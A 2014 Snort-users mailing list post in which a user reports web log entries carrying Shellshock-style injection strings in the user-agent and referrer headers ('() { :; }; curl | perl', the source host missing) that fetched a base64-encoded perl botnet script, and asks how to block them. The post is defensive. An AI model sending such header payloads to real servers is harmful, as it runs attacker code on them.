[Snort-users] Odd http requests in the logs

Richard Geddes richardcgeddes at ...11827...
Sun Nov 2 23:23:51 EST 2014


I received a few (9) events in my web logs with the following fields:

agent : "() { :; }; curl |

referrer : "() { :; }; curl | perl"

downloaded index.png, and it turns out to be a base64 encoded perl
script that has comments about a botnet.  It seems to target apache.

I'm using snort with snort VRT Rules on a pfsense firewall, and pfsense,
snort, and the snort rules are up-to-date

snort seems to be passing these requests on to my web server, and it
seems to me they should be blocked.

I don't know enough about how web servers and log handlers process this
data to determine if it's a threat.

Is there a way to tell snort to block http requests with these fields? 
The source of the malicious file should probably be regex'd  in case
there are alternate sources of this file.


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